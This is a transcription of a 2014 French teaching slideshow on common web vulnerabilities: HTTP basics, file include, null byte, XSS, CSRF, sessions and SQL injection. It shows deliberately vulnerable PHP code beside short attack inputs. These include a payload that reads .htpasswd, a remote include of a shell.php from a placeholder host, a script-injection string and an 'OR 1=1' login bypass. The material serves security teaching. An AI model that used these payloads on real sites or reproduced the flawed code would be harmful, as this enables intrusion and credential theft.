Failles Web

Transcription

Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Failles Web
Maxime Arthaud
net7
Jeudi 03 avril 2014
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Syllabus
1
Introduction
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
2
Les failles les plus courantes
3
Les injections SQL
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Le protocole HTTP
HTTP = HyperText Transfer Protocol
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Le protocole HTTP
HTTP = HyperText Transfer Protocol
Le protocole parlé par votre navigateur web (Firefox, Chrome)
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Le protocole HTTP
HTTP = HyperText Transfer Protocol
Le protocole parlé par votre navigateur web (Firefox, Chrome)
Version 1.1 (2.0 en cours)
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Requête HTTP
GET /page.html HTTP/1.1
Host: example.com
Referer: http://example.com/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko
/20100101 Firefox/28.0
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Requête HTTP
GET /page.html HTTP/1.1
Host: example.com
Referer: http://example.com/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko
/20100101 Firefox/28.0
Réponse du serveur
HTTP/1.1 200 OK
Date: Fri, 31 Dec 1999 23:59:59 GMT
Server: Apache/0.8.4
Content-Type: text/html
Content-Length: 59
Expires: Sat, 01 Jan 2000 00:59:59 GMT
<title>Exemple</title>
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Méthode GET
GET /page.html?name=value HTTP/1.1
Host: example.com
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Méthode GET
GET /page.html?name=value HTTP/1.1
Host: example.com
Méthode POST
POST /page.html HTTP/1.1
Host: example.com
Content-Length: 32
username=arthaum&password=secret
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Les cookies
Informations stockées sur votre navigateur, envoyées aux sites
web
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Les cookies
Informations stockées sur votre navigateur, envoyées aux sites
web
De la forme key1=val1&key2=val2
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Le protocole HTTP
Exemple de Requête
Transmission de données
Les cookies
Les cookies
Informations stockées sur votre navigateur, envoyées aux sites
web
De la forme key1=val1&key2=val2
Outils
Firebug
Tamper Data
Web Developer
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
Syllabus
1
Introduction
2
Les failles les plus courantes
Include
Null byte
XSS
CSRF
Les sessions
3
Les injections SQL
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
La faille include
<!DOCTYPE html>
<html>
<head><title>titre</title></head>
<body>
<?php include(’pages/’ . $_GET[’page’]); ?>
</body>
</html>
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
La faille include
<!DOCTYPE html>
<html>
<head><title>titre</title></head>
<body>
<?php include(’pages/’ . $_GET[’page’]); ?>
</body>
</html>
Idées d’attaque
/index.php ?page=index.php
/index.php ?page=../admin/.htpasswd
/index.php ?page=http ://monsite.com/shell.php
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
La faille null byte
<!DOCTYPE html>
<html>
<head><title>titre</title></head>
<body>
<?php include(’pages/’ . $_GET[’page’] . ’.php’); ?>
</body>
</html>
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
La faille null byte
<!DOCTYPE html>
<html>
<head><title>titre</title></head>
<body>
<?php include(’pages/’ . $_GET[’page’] . ’.php’); ?>
</body>
</html>
Idée d’attaque
/index.php ?page=index.php%00
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
XSS = Cross-Site Scripting
<?php echo $_GET[’message’]; ?>
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
XSS = Cross-Site Scripting
<?php echo $_GET[’message’]; ?>
Idée d’attaque
/index.php ?message=<script >alert(’coucou’) </script >
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
CSRF = Cross-Site Request Forgery
/deleteuser.php ?id=1
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
CSRF = Cross-Site Request Forgery
/deleteuser.php ?id=1
Idées d’attaque
Forcer un administrateur à cliquer sur le lien
Plus vicieux : mettre ce lien comme image de profil/signature
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Include
Null byte
XSS
CSRF
Les sessions
Le danger des sessions
ID de session stocké dans les cookies
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Explication
Blind SQL Injection
Outils
Syllabus
1
Introduction
2
Les failles les plus courantes
3
Les injections SQL
Explication
Blind SQL Injection
Outils
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Explication
Blind SQL Injection
Outils
Explication
$con = new PDO(’mysql:dbname=user_arthaum;host=mysql.bde.
n7’, ’arthaum’, ’secret’);
\$req = $con->query("SELECT * FROM users WHERE username=’"
. $_POST[’username’] . "’ AND password=’" . $_POST[’
password’] . "’");
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Explication
Blind SQL Injection
Outils
Explication
$con = new PDO(’mysql:dbname=user_arthaum;host=mysql.bde.
n7’, ’arthaum’, ’secret’);
\$req = $con->query("SELECT * FROM users WHERE username=’"
. $_POST[’username’] . "’ AND password=’" . $_POST[’
password’] . "’");
Idée d’attaque
username=admin’ OR 1=1#
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Explication
Blind SQL Injection
Outils
Blind SQL Injection
Pas de retour (page blanche)
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Explication
Blind SQL Injection
Outils
Blind SQL Injection
Pas de retour (page blanche)
Idée d’attaque
Utiliser SLEEP()
Failles Web
Introduction
Les failles les plus courantes
Les injections SQL
Explication
Blind SQL Injection
Outils
Outils
sqlmap
Failles Web

Documents pareils